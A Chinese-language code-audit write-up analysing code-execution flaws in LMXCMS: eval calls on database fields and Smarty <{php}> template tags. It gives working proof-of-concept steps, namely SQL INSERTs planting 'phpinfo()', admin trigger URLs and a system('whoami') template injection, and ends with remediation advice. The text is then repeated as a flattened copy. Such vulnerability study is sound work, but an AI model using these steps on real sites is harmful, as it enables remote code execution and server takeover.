初入代码审计之lmxcms代码执行
字数 1286 2025-08-22 22:47:30

LMXCMS代码执行漏洞分析与利用

环境搭建

  1. 下载LMXCMS:http://www.lmxcms.com/down/
  2. 使用phpstudy搭建环境
  3. 访问/install目录进行安装
  4. 数据库配置按常规设置即可

漏洞概述

LMXCMS存在多处代码执行漏洞,主要涉及以下文件:

  • c\admin\AcquisiAction.class.php
  • class\Action.class.php
  • m\AcquisiModel.class.php
  • plug\smarty\Smarty.class.php
  • plug\smarty\plugins\function.math.php

漏洞详细分析

1. AcquisiAction.class.php代码执行

漏洞位置c\admin\AcquisiAction.class.php中的showCjData方法

漏洞分析

  • 通过$temdata = M('cj_data')->where(array('id'=>$cid))->find();从数据库获取数据
  • 直接执行eval($data=$temdata['data'])
  • 攻击者可控制lmx_cj_data表中的data字段内容实现代码执行

利用步骤

  1. 通过后台SQL执行功能插入恶意数据:
INSERT INTO `lmxcms`.`lmx_cj_data` (`id`, `lid`, `data`, `uid`, `url`, `time`) 
VALUES (3, 4, 'phpinfo()', 33, 'a', 5);
  1. 访问触发URL:
/admin.php?m=Acquisi&a=showCjData&id=1&lid=4&cid=3

2. AcquisiModel.class.php代码执行

漏洞位置m\AcquisiModel.class.php中的formatData方法

漏洞分析

  • 方法中存在eval(string::stripslashes($array))
  • $array来自lmx_cj_list表的arrayremove_html字段
  • 攻击者可控制这些字段内容实现代码执行

利用步骤

  1. 通过后台SQL执行功能插入恶意数据:
INSERT INTO `lmxcms`.`lmx_cj_list` 
(`lid`, `lname`, `uid`, `array`, `url_str`, `classid`, `lcontent`, `info_page_regular`, `content_url_box`, `content_url_regular`, `ztid`, `tagsname`, `str_y_replace`, `str_n_replace`, `str_remove`, `remove_html`, `list_dy_url`, `list_url_tem`, `pre_page`, `fix_page`) 
VALUES (3, 'ts', 3, 'phpinfo()', 'ss', 6, 's', 'a', 's', 's', 'a', 's', 's', 's', 's', 's', 's', 's', 's', 's');
  1. 通过以下任意URL触发:
/admin.php?m=Acquisi&a=testcj&lid=1
/admin.php?m=Acquisi&a=startCaiji&lid=1
/admin.php?m=Acquisi&a=againCaiji&lid=1

3. Smarty模板代码执行

漏洞位置plug\smarty\Smarty.class.php中的模板解析

漏洞分析

  • 模板中的<{php}>标签内容会被直接执行
  • 攻击者可通过编辑模板文件插入恶意代码

利用步骤

  1. 编辑首页模板文件index.html,添加:
<{php}>system('whoami');<{/php}>
  1. 访问首页即可执行命令

4. 其他潜在漏洞点

  1. class\Action.class.php中的方法调用:

    • 虽然有限制只能调用对象已有的方法,但仍需注意安全
  2. plug\smarty\plugins\function.math.php

    • 虽然存在eval函数,但未发现实际调用路径

防护建议

  1. 对所有用户输入进行严格过滤和验证
  2. 避免直接使用eval函数执行动态代码
  3. 限制后台SQL执行功能的使用权限
  4. 对模板编辑功能进行权限控制
  5. 及时更新到最新版本

总结

LMXCMS存在多处代码执行漏洞,主要由于:

  1. 直接使用eval执行数据库中的内容
  2. 模板解析过程中未对PHP代码进行安全处理
  3. 后台SQL执行功能可被滥用

攻击者可通过组合这些漏洞实现远程代码执行,获取服务器控制权。建议用户及时修复或采取防护措施。

LMXCMS代码执行漏洞分析与利用 环境搭建 下载LMXCMS:http://www.lmxcms.com/down/ 使用phpstudy搭建环境 访问/install目录进行安装 数据库配置按常规设置即可 漏洞概述 LMXCMS存在多处代码执行漏洞,主要涉及以下文件: c\admin\AcquisiAction.class.php class\Action.class.php m\AcquisiModel.class.php plug\smarty\Smarty.class.php plug\smarty\plugins\function.math.php 漏洞详细分析 1. AcquisiAction.class.php代码执行 漏洞位置 : c\admin\AcquisiAction.class.php 中的 showCjData 方法 漏洞分析 : 通过 $temdata = M('cj_data')->where(array('id'=>$cid))->find(); 从数据库获取数据 直接执行 eval($data=$temdata['data']) 攻击者可控制 lmx_cj_data 表中的 data 字段内容实现代码执行 利用步骤 : 通过后台SQL执行功能插入恶意数据: 访问触发URL: 2. AcquisiModel.class.php代码执行 漏洞位置 : m\AcquisiModel.class.php 中的 formatData 方法 漏洞分析 : 方法中存在 eval(string::stripslashes($array)) $array 来自 lmx_cj_list 表的 array 或 remove_html 字段 攻击者可控制这些字段内容实现代码执行 利用步骤 : 通过后台SQL执行功能插入恶意数据: 通过以下任意URL触发: 3. Smarty模板代码执行 漏洞位置 : plug\smarty\Smarty.class.php 中的模板解析 漏洞分析 : 模板中的 <{php}> 标签内容会被直接执行 攻击者可通过编辑模板文件插入恶意代码 利用步骤 : 编辑首页模板文件 index.html ,添加: 访问首页即可执行命令 4. 其他潜在漏洞点 class\Action.class.php 中的方法调用: 虽然有限制只能调用对象已有的方法,但仍需注意安全 plug\smarty\plugins\function.math.php : 虽然存在eval函数,但未发现实际调用路径 防护建议 对所有用户输入进行严格过滤和验证 避免直接使用eval函数执行动态代码 限制后台SQL执行功能的使用权限 对模板编辑功能进行权限控制 及时更新到最新版本 总结 LMXCMS存在多处代码执行漏洞,主要由于: 直接使用eval执行数据库中的内容 模板解析过程中未对PHP代码进行安全处理 后台SQL执行功能可被滥用 攻击者可通过组合这些漏洞实现远程代码执行,获取服务器控制权。建议用户及时修复或采取防护措施。